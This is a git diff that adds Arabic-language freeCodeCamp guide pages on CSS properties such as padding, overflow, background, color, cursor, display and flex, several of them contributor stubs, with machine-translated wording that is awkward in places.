+## فيض-س وفائض ص
+
+*   `overflow-x` : يسمح للمستخدم بالتمرير خلال المحتوى الذي يمتد إلى ما بعد ارتفاع عنصر المربع.
+*   `overflow-y` : السماح للمستخدم بالتمرير خلال المحتوى الذي يمتد إلى ما وراء عرض المربع.
+
+ `  .box-element { 
+    overflow-x: scroll; 
+    overflow-y: auto; 
+  } 
+` 
+
+`.box-element` كالتالي: ![صورة المثال](https://s26.postimg.org/ff2kmdfzd/5-_Xand_Y.png)
+
+إذا تجاوز المحتوى المحور الصادي ، فسيتم إخفاء هذا المحتوى ، بينما يجب أن يكون شريط التمرير مرئيًا للمستخدمين لقراءة بقية المحتوى.
+
+#### معلومات اكثر:
+
+CSS-Tricks: [overflow](https://css-tricks.com/almanac/properties/o/overflow/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/padding/index.md b/client/src/guide/arabic/css/padding/index.md
new file mode 100644
index 0000000000..ad556f285e
--- /dev/null
+++ b/client/src/guide/arabic/css/padding/index.md
@@ -0,0 +1,55 @@
+---
+title: Padding
+localeTitle: حشوة
+---
+# حشوة
+
+تحدد الخاصية `padding` CSS مساحة الحشو على الجوانب الأربعة للعنصر. يمكن استخدام هذه الخاصية لإنشاء مساحة حول المحتوى (داخل الحدود). إنه اختصار لضبط كافة paddings الفردية في وقت واحد: `padding-top` ، `padding-right` ، `padding-bottom` ، و `padding-left` . يتم تعريف القيم في اتجاه عقارب الساعة.
+
+يتم تعيين قيم الحشو باستخدام الأطوال أو النسب المئوية أو `inherit` الكلمة الرئيسية ، ولا يمكن قبول القيم السالبة. القيمة الأولية ، أو الافتراضية ، لجميع خصائص الحشو هي 0. بينما يمكنك استخدام `inherit` الكلمة الأساسية ولكن لا يمكن استخدامها مع قيمة الطول.
+
+## بناء الجملة
+
+ `.element { 
+    padding: [padding-top] || [padding-right] || [padding-bottom] || [padding-left]; 
+ } 
+` 
+
+يمكن تحديد هذه الخاصية باستخدام قيم واحدة أو اثنتين أو ثلاثة أو أربعة.
+
+*   عند تحديد قيمة واحدة ، يتم تطبيق نفس المساحة على كافة الجوانب الأربعة.
+*   عند تحديد قيمتين ، تنطبق الحشو الأولى على الأعلى والأسفل ، والثانية إلى اليسار واليمين.
+*   عند تحديد ثلاث قيم ، تسري الحشو الأولى على الأعلى ، والثانية على اليسار واليمين ، والثالثة إلى الأسفل.
+*   عند تحديد أربع قيم ، يتم تطبيق paddings على الأعلى ، اليمين ، الأسفل ، واليسار في ذلك الترتيب (في اتجاه عقارب الساعة).
+
+ `/* em refers to the current font size of an element */ 
+ /* Apply to all four sides */ 
+ padding: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ padding: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ padding: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ padding: 5px 1em 0 1em; 
+` 
+
+## أين في نموذج مربع
+
+تحدد خاصية المساحة المحفوظة في CSS الجزء الأعمق من نموذج الصندوق ، مما يؤدي إلى إنشاء مساحة حول محتوى العنصر ، داخل أي هامش و / أو حدود محددة.
+
+![نموذج صندوق المغلق](https://www.w3.org/TR/css3-box/box.png)
+
+## دعم المتصفح
+
+مدعوم بشكل فعال في جميع المتصفحات (منذ IE6 + وفايرفوكس 2+ و Chrome 1+ وغيرها)
+
+### معلومات اكثر
+
+*   [W3C مسودة العمل](https://www.w3.org/TR/css3-box/#the-padding)
+*   [W3C CSS Level 2](https://www.w3.org/TR/CSS2/box.html#propdef-padding)
+*   [W3C CSS Level 1](https://www.w3.org/TR/CSS1/#padding)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [CSS الخدع](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/pointer-events/index.md b/client/src/guide/arabic/css/pointer-events/index.md
new file mode 100644
index 0000000000..df1bfe4615
--- /dev/null
+++ b/client/src/guide/arabic/css/pointer-events/index.md
@@ -0,0 +1,15 @@
+---
+title: Pointer Events
+localeTitle: أحداث المؤشر
+---
+## أحداث المؤشر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+*   [أحداث المؤشر على مستندات الويب MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events)
+*   [رسومات Vector Graphics قابلة للتحجيم 1.1 (توصية)](https://www.w3.org/TR/SVG11/interact.html#PointerEventsProperty)
+*   [هل يمكنني استخدام: خاصية أحداث مؤشر CSS](https://caniuse.com/#feat=pointer-events)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/progressive-enhancement/index.md b/client/src/guide/arabic/css/progressive-enhancement/index.md
new file mode 100644
index 0000000000..a53c120005
--- /dev/null
+++ b/client/src/guide/arabic/css/progressive-enhancement/index.md
@@ -0,0 +1,11 @@
+---
+title: Progressive Enhancement
+localeTitle: تحسين تدريجي
+---
+## تحسين تدريجي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/progressive-enhancement/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/background-color-property/index.md b/client/src/guide/arabic/css/properties/background-color-property/index.md
new file mode 100644
index 0000000000..c88d668e70
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/background-color-property/index.md
@@ -0,0 +1,38 @@
+---
+title: Background Color Property
+localeTitle: خاصية لون الخلفية
+---
+## خاصية لون الخلفية
+
+يمكنك استخدام `background-color` خاصية لتعيين لون الخلفية عنصر. يمكنك إما استخدام قيمة اللون (اسم اللون ، القيمة السداسية العشرية ، قيمة RGB / RGBA ، قيمة HSL / HSLA) أو الكلمة الرئيسية `transparent` .
+
+**مثال:**
+
+ `body { 
+    background-color: crimson; 
+ } 
+ 
+ div { 
+    background-color: #ffffff; 
+ } 
+ 
+ .myClass { 
+    background-color: rgba(0, 0, 0, 0.5); 
+ } 
+` 
+
+#### قيم الملكية:
+
+`background-color: color | transparent | initial | inherit;`
+
+`color` - يحدد لون الخلفية (اسم اللون ، القيمة السداسية العشرية ، قيمة RGB / RGBA ، قيمة HSL / HSLA).
+
+`transparent` - القيمة الافتراضية. لتعيين لون الخلفية على أنه شفاف.
+
+`initial` - تعيين هذه الخاصية إلى قيمتها الأولية (القيمة الافتراضية).
+
+`inherit` - يتوارث هذه الخاصية من العنصر الرئيسي.
+
+#### معلومات اكثر:
+
+[MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/background-color?v=b)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/background-image-property/index.md b/client/src/guide/arabic/css/properties/background-image-property/index.md
new file mode 100644
index 0000000000..671a94ddf0
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/background-image-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Background Image Property
+localeTitle: خاصية صورة الخلفية
+---
+#### واقترح ريدينج:
+
+https://developer.mozilla.org/en-US/docs/Web/CSS/background-image
+
+#### مشروع المادة:
+
+شرح وأمثلة من خاصية صورة الخلفية في CSS
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/background-position-property/index.md b/client/src/guide/arabic/css/properties/background-position-property/index.md
new file mode 100644
index 0000000000..df218485ca
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/background-position-property/index.md
@@ -0,0 +1,39 @@
+---
+title: Background Position Property
+localeTitle: موقع الخلفية الملكية
+---
+## موقع الخلفية الملكية
+
+تحدد خاصية الخلفية الموقع من حيث يجب أن تبدأ صورة الخلفية. بمعنى آخر ، ستأخذ هذه الخاصية قيمة س وقيمة ص وستبدأ الصورة من النقطة `(x, y)` .
+
+**مثال:**
+
+ `/* setting background-image of HTML doc */ 
+ body { 
+  background-image: url('https://i.imgur.com/6Z2VStD.png'); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+` 
+
+بشكل افتراضي ، يتم تعيين الخاصية background-position إلى `0% 0%` .
+
+**قيم العقارات:**
+
+`background-position: x-value y-value` حيث ،
+
+_x-value_ : `left | center | right | x% | x px` و
+
+_ص القيمة_ : `top | center | bottom | y% | y px` .
+
+قيم الخاصية الأخرى المسموح بها هي قيم `initial` `inherit` .
+
+`initial` : تعيين هذه الخاصية إلى قيمتها الافتراضية.
+
+`inherit` : `inherit` القيمة من العنصر الرئيسي.
+
+**ملاحظة:** عند إعطاء قيمة واحدة فقط لخاصية الخلفية ، يتم تعيين القيمة الأخرى إلى `center` .
+
+**موارد آخرى:**
+
+مستندات MDN: https://developer.mozilla.org/en-US/docs/Web/CSS/background-position
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/background-property/index.md b/client/src/guide/arabic/css/properties/background-property/index.md
new file mode 100644
index 0000000000..3f29770723
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/background-property/index.md
@@ -0,0 +1,46 @@
+---
+title: Background Property
+localeTitle: خاصية الخلفية
+---
+## خاصية الخلفية
+
+تسمح خاصية خلفية CSS لأحدها بالإعلان عن جميع خصائص الخلفية الثمانية دفعة واحدة باستخدام هذا الإعلان المختصر 1 .
+
+تم تحديد خاصية الخلفية كطبقة خلفية واحدة أو أكثر ، مفصولة بفواصل للخصائص التالية 2 :
+
+*   لون الخلفية
+*   الصورة الخلفية
+*   خلفية موقف
+*   خلفية الحجم
+*   تكرار الخلفية
+*   خلفية الأصل
+*   خلفية كليب
+*   مرفق الخلفية
+
+التركيب 1 :
+
+ `body { 
+  /* Using a <background-color> */ 
+  background: green; 
+ } 
+ 
+ .error { 
+  /* Using a <bg-image> and <repeat-style> */ 
+  background: url("test.jpg") repeat-y; 
+ } 
+ 
+ header { 
+  /* Using a <box> and <background-color> */ 
+  background: border-box red; 
+ } 
+ 
+ .topbanner { 
+  /* A single image, centered and scaled */ 
+  background: no-repeat center/80% url("../img/image.png"); 
+ } 
+` 
+
+### مصادر
+
+1.  [تفضل بزيارة صفحة الخلفية الخاصة بـ MDN للحصول على مزيد من المعلومات.](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
+2.  [تفضل بزيارة صفحة خصائص خلفية CSS الخاصة بـ W3School لمزيد من المعلومات.](https://www.w3schools.com/cssref/css3_pr_background.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/background-repeat-property/index.md b/client/src/guide/arabic/css/properties/background-repeat-property/index.md
new file mode 100644
index 0000000000..f33a79d881
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/background-repeat-property/index.md
@@ -0,0 +1,47 @@
+---
+title: Background Repeat Property
+localeTitle: تكرار الخلفية الملكية
+---
+## تكرار الخلفية الملكية
+
+تقوم خاصية CSS المتكررة للخلفية بتعريف كيفية تكرار صور الخلفية.
+
+يمكن تكرار صورة الخلفية على طول المحور الأفقي أو المحور الرأسي أو كلا المحورين أو عدم تكرارها على الإطلاق. بشكل افتراضي ، يتم تكرار صورة الخلفية عموديًا وأفقيًا.
+
+بناء الجملة:
+
+ `background-repeat: repeat|repeat-x|repeat-y|no-repeat|initial|inherit; 
+` 
+
+*   تكرار: سيتم تكرار صورة الخلفية عموديًا وأفقيًا. هذا هو الافتراضي
+    
+*   repeat-x: سيتم تكرار صورة الخلفية أفقيًا فقط
+    
+*   repeat-y: سيتم تكرار صورة الخلفية رأسياً فقط.
+    
+*   عدم التكرار: لن تتكرر صورة الخلفية.
+    
+*   الأولي: تعيين هذه الخاصية إلى قيمتها الافتراضية.
+    
+*   ترث: يرث هذه الخاصية من العنصر الرئيسي.
+    
+
+أمثلة: لتكرار الصورة أفقياً وعمودياً
+
+ `body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat; 
+ } 
+` 
+
+لتكرار الصورة أفقيا
+
+ `body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat-x; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[لمزيد من المعلومات حول خاصية تكرار الخلفية](https://developer.mozilla.org/en-US/docs/Web/CSS/background-repeat)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/border-style-property/index.md b/client/src/guide/arabic/css/properties/border-style-property/index.md
new file mode 100644
index 0000000000..bda4786758
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/border-style-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Border Style Property
+localeTitle: خاصية نمط الحدود
+---
+## خاصية نمط الحدود
+
+يمكنك استخدام خاصية `border-style` لتعيين نمط الخط لكل حدود العنصر.
+
+#### معلومات اكثر:
+
+المستندات: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-style)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/clear-property/index.md b/client/src/guide/arabic/css/properties/clear-property/index.md
new file mode 100644
index 0000000000..a1d3024b8e
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/clear-property/index.md
@@ -0,0 +1,31 @@
+---
+title: Clear Property
+localeTitle: واضح الممتلكات
+---
+## واضح الممتلكات
+
+يمكنك استخدام الخاصية `clear` لخفض عنصر ، مما يمنع ظهوره بجوار عنصر floated السابق.
+
+يمكن أن تحتوي الخاصية `clear` على القيم التالية:
+
+يتم استخدام هذه الخاصية بعد استخدام الخاصية `float` "مسح" خارج `float` .
+
+ `clear: none; 
+ clear: left; 
+ clear: right; 
+ clear: both; 
+ clear: inline-start; 
+ clear: inline-end; 
+` 
+
+### مثال:
+
+![Clear Property Image](https://image.ibb.co/defebR/clear.png "واضح الممتلكات")
+
+في المثال أعلاه ، فإن `div` الأصفر `float:left` العقار `float:left` ، ويمكن وضعه تحت `div` . ومع ذلك ، بما أن `div` الأصفر له خاصية `clear: both` أيضًا `clear: both` يتحرك لأسفل تحت العناصر الطافية.
+
+#### معلومات اكثر:
+
+*   https://css-tricks.com/almanac/properties/c/clear/
+*   https://www.w3schools.com/cssref/pr _class_ clear.asp
+*   https://developer.mozilla.org/en-US/docs/Web/CSS/clear
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/color-property/index.md b/client/src/guide/arabic/css/properties/color-property/index.md
new file mode 100644
index 0000000000..22e26db86b
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/color-property/index.md
@@ -0,0 +1,78 @@
+---
+title: Color Property
+localeTitle: خاصية اللون
+---
+## خاصية لون CSS
+
+يمكنك استخدام خاصية `color` لتعيين لون النص في عنصر.
+
+يمكنك استخدام عدة طرق لإعلان لون مثل:
+
+*   بالاسم (ملاحظة: هذا يعمل فقط مع ألوان معينة)
+
+ `h1{ 
+    color: blue; 
+ } 
+` 
+
+*   سداسي عشري (تم تحديده كـ #rrggbb)
+
+ `h1{ 
+    color:  #0000ff; 
+ } 
+` 
+
+*   RGB (تم تحديده على أنه rgb (r، g، b))
+
+ `h1{ 
+    color: rgb(0, 0, 255); 
+ } 
+` 
+
+*   RGBA (تم تحديده كـ rgba (r، g، b، alpha))
+
+ `h1{ 
+    color: rgba(0, 0, 255, 0.5); 
+ } 
+` 
+
+*   HSL (هوى ، خفة ، تشبع)
+
+ `h1{ 
+    color: hsl(240, 100%, 50%); 
+ } 
+` 
+
+*   HSLA (هوى ، خفة ، تشبع ، ألفا)
+
+ `h1{ 
+    color: hsl(240, 100%, 50%, 0.5); 
+ } 
+` 
+
+## خصائص CSS الألوان موضحة
+
+*   الألوان بالاسم:
+    
+    *   هذه هي جميلة توضيحية لنفسها. كل لون يمثله اسمه.
+*   عشري:
+    
+    *   يتم تمثيل هذه الألوان من قبل ثلاثة توائم.
+    *   A hext ثلاثي هو رقم سداسي عشري مكون من ستة أرقام وثلاثة بايت.
+    *   كل من وحدات البايت الثلاثة يمثل لون #RRGGBB (أحمر ، أخضر ، أزرق).
+    *   يتم تمثيل اللون السداسي المختزل برقم سداسي عشري مكون من ثلاثة أرقام #RGB (أحمر ، أخضر ، أزرق).
+*   ألوان RGB & RGBA:
+    
+    *   ألوان RGB هي ألوان 24bit (3byte) ممثلة بأربعة أرقام في نطاق 0-255. (على سبيل المثال rgb (255،255،128)).
+    *   ألوان RGBA هي ألوان 32bit (4byte) ممثلة بأرقام 3 في نطاق 0-255 وقيمة alpha التي تتحكم في العتامة. (على سبيل المثال rgb (255،255،128، 0.3)).
+*   ألوان HSL و HSLA:
+    
+    *   يتم تمثيل ألوان HSL بثلاث قيم (HUE ، Saturation ، Lightness).
+    *   يتم تمثيل ألوان HSLA بأربعة قيم (HUE ، Saturation ، Lightness ، Alpha). Alpha يتحكم في العتامة.
+
+#### معلومات اكثر
+
+*   موقع W3 Schools حول كيفية تنسيق [النص](https://www.w3schools.com/css/css_text.asp) .
+*   موقع مدارس W3 على [الألوان](https://www.w3schools.com/colors/default.asp) .
+*   خاصية اللون على [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color) .
+*   وثائق على [w3.org](https://www.w3.org/wiki/CSS/Properties/color) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-background-size-property/index.md b/client/src/guide/arabic/css/properties/css3-background-size-property/index.md
new file mode 100644
index 0000000000..ea482404fd
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-background-size-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Background Size Property
+localeTitle: CSS3 حجم الخلفية الملكية
+---
+## CSS3 حجم الخلفية الملكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-background-size-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-border-radius-property/index.md b/client/src/guide/arabic/css/properties/css3-border-radius-property/index.md
new file mode 100644
index 0000000000..35df86386c
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-border-radius-property/index.md
@@ -0,0 +1,17 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: CSS3 الحدود شعاع الملكية
+---
+## CSS3 الحدود شعاع الملكية
+
+يمكنك جعل حدود العنصر مستديرة باستخدام خاصية `border-radius` . يمكنك تعيين قيم من أربعة إلى قيمة `border-radius` :
+
+*   `border-radius: 5px;` - ستسري هذه القاعدة على جميع الزوايا
+*   `border-radius: 5px 10px` - سيتم تطبيق هذه القاعدة على القيمة الأولى في _أعلى اليسار_ _واليمين السفلي_ والقيمة الثانية إلى _اليمين العلوي_ _والسفلي الأيسر_ .
+*   `border-radius: 3px 5px 7px 10px` - سيتم تطبيق هذه القاعدة على القيمة الأولى في _أعلى اليسار_ ، والقيمة الثانية إلى _أعلى اليمين_ ، والقيمة الثالثة إلى _أسفل اليمين_ ، والقيمة الرابعة إلى _أسفل اليسار_ .
+*   في حالة وجود ثلاث قيم ، تنطبق القيمة الثانية على _اليمين العلوي_ _والسفلي الأيسر_ .
+
+#### معلومات اكثر:
+
+*   [MDN - border-radius](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   [CSS-Tricks - border-radius](https://css-tricks.com/almanac/properties/b/border-radius/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-box-shadow-property/index.md b/client/src/guide/arabic/css/properties/css3-box-shadow-property/index.md
new file mode 100644
index 0000000000..166e78ba0a
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-box-shadow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Shadow Property
+localeTitle: خاصية Box3 Box Shadow
+---
+## خاصية Box3 Box Shadow
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-shadow-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-box-sizing-property/index.md b/client/src/guide/arabic/css/properties/css3-box-sizing-property/index.md
new file mode 100644
index 0000000000..4aa2fbab31
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-box-sizing-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Sizing Property
+localeTitle: CSS3 حجم مربع التحجيم
+---
+## CSS3 حجم مربع التحجيم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-sizing-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-columns-property/index.md b/client/src/guide/arabic/css/properties/css3-columns-property/index.md
new file mode 100644
index 0000000000..661e8a8355
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-columns-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Columns Property
+localeTitle: خاصية أعمدة CSS3
+---
+## خاصية أعمدة CSS3
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-columns-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-text-shadow-property/index.md b/client/src/guide/arabic/css/properties/css3-text-shadow-property/index.md
new file mode 100644
index 0000000000..4399097e14
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-text-shadow-property/index.md
@@ -0,0 +1,20 @@
+---
+title: CSS3 Text Shadow Property
+localeTitle: خاصية الظل النص CSS3
+---
+## خاصية الظل النص CSS3
+
+يضيف خاصية ظل النص الظل إلى النص. كل ظل هو مزيج من الإزاحة X و Y من العنصر الأصلي ، نصف القطر اللامع واللون. \`\` \`المغلق بناء جملة CSS
+
+ظل النص: X-offset Y-offset blur-radius color
+
+ `**Example :** 
+` 
+
+المغلق ص { الظل النص: 2px 2px 8px # FF0000؛ } \`\` \`
+
+#### معلومات اكثر:
+
+[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
+
+[w3schools](https://www.w3schools.com/cssref/css3_pr_text-shadow.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-transform-property/index.md b/client/src/guide/arabic/css/properties/css3-transform-property/index.md
new file mode 100644
index 0000000000..b3e652d767
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-transform-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Transform Property
+localeTitle: CSS3 تحويل الملكية
+---
+## CSS3 تحويل الملكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-transform-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/css3-word-wrap-property/index.md b/client/src/guide/arabic/css/properties/css3-word-wrap-property/index.md
new file mode 100644
index 0000000000..49fa45c85e
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/css3-word-wrap-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Word Wrap Property
+localeTitle: CSS3 كلمة التفاف الممتلكات
+---
+## CSS3 كلمة التفاف الممتلكات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-word-wrap-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/cursor-property/index.md b/client/src/guide/arabic/css/properties/cursor-property/index.md
new file mode 100644
index 0000000000..35bb506c5e
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/cursor-property/index.md
@@ -0,0 +1,49 @@
+---
+title: Cursor Property
+localeTitle: خاصية المؤشر
+---
+## خاصية المؤشر
+
+تحدد خاصية المؤشر نوع المؤشر الذي سيتم عرضه عند التمرير فوق عنصر. لديها 36 القيم المحتملة:
+
+ `    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+` 
+
+#### معلومات اكثر:
+
+تحقق من قيم المؤشر أعلاه في الإجراء: [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+
+شبكة مطوري موزيلا: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+
+دعم المتصفح: [caniuse](http://caniuse.com/#search=cursor)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/display-property/index.md b/client/src/guide/arabic/css/properties/display-property/index.md
new file mode 100644
index 0000000000..f2b462789e
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/display-property/index.md
@@ -0,0 +1,27 @@
+---
+title: Display Property
+localeTitle: عرض الملكية
+---
+## عرض الملكية
+
+تحدد خاصية العرض نوع المربع المستخدم لعنصر HTML. لديها 20 قيمة ممكنة للكلمات الرئيسية. هذه هي شائعة الاستخدام:
+
+ `    .none             {display: none;} 
+    .block            {display: block;} 
+    .inline-block     {display: inline-block;} 
+    .inline           {display: inline;} 
+    .flex             {display: flex;} 
+    .inline-flex      {display: inline-flex;} 
+    .inline-table     {display: inline-table;} 
+    .table            {display: table;} 
+    .inherit          {display: inherit;} 
+    .initial          {display: initial;} 
+` 
+
+#### معلومات اكثر:
+
+محرّر المستندات والقائمة الكاملة لقيم الكلمات الرئيسية: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+
+دعم المتصفح: [caniuse](http://caniuse.com/#search=display)
+
+دليل كامل ل Flexbox: [css-tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/properties/flex-property/index.md b/client/src/guide/arabic/css/properties/flex-property/index.md
new file mode 100644
index 0000000000..3040ae2db9
--- /dev/null
+++ b/client/src/guide/arabic/css/properties/flex-property/index.md
@@ -0,0 +1,34 @@
+---
+title: Flex Property
+localeTitle: فليكس الملكية
+---
+## فليكس الملكية
+
+الخاصية `flex` عبارة عن اختصار لتحديد حجم عنصر مرن. `flex-grow` `flex-shrink` `flex-basis` في هذه الخاصية المختزلة.
+
+**هذه الخاصية ليس لها أي تأثير إذا كان العنصر ليس عنصرًا `flex-item`** . عنصر Flex هو عنصر يمثل طفلاً مباشراً لأحد الوالدين في حاوية مع خاصية العرض مثل `flex` أو `inline-flex` .
+
+## بناء الجملة
+
+الاختلافات الممكنة في بناء الجملة المذكورة أدناه. `flex-grow` `flex-shrink` يأخذ عدد صحيح كقيمة. `flex-basis` يأخذ وحدات حجم منتظم مثل px ، em ، rem… الخ.
+
+ `flex: <flex-grow> <flex-shrink> <flex-basis>; 
+ flex: <flex-basis>; 
+ flex: <flex-grow>; 
+ flex: <flex-grow> <flex-basis>; 
+ flex: <flex-grow> <flex-shrink>; 
+` 
+
+تحدد `flex-basis` حجم العنصر على طول المحور الرئيسي. داخل الحاوية ، يتم تعريف المحور الرئيسي `flex-direction` . المحور الرئيسي هو الأفقي عندما يكون `flex-direction` هو `row` . عمودي عندما يكون `flex-direction` هو `column` .
+
+`flex-basis: 20px` لتحديد العرض الأولي للعنصر إلى 20 `20px` إذا كان `flex-direction` هو `row` . نفس `flex-basis` ينطبق على ارتفاع إذا كان `fle-direction` هو `column` .
+
+`flex: 20px` تقصد تلقائيًا `flex-basis: 20px` ، نظرًا لأن الخاصية المختزلة لها `flex-basis` فقط كخاصية يمكن أن تأخذ قيمة مع الوحدة.
+
+`flex: 2` تحدد `flex-grow: 2` ، وينمو العنصر مرتين أطول / أطول من العناصر الأخرى مع `flex-grow: 1` .
+
+`flex: 1 2` تحدد `flex-grow: 1` و `flex-shrink: 2` . ينمو العنصر ليأخذ مساحة فارغة بالتناسب مع العناصر الأخرى ذات `flex-grow: 1` ولكن يتقلص ضعفه عندما يقارن العناصر الأخرى مع `flex-shrink: 1` عند الضغط على الفضاء.
+
+### معلومات اكثر
+
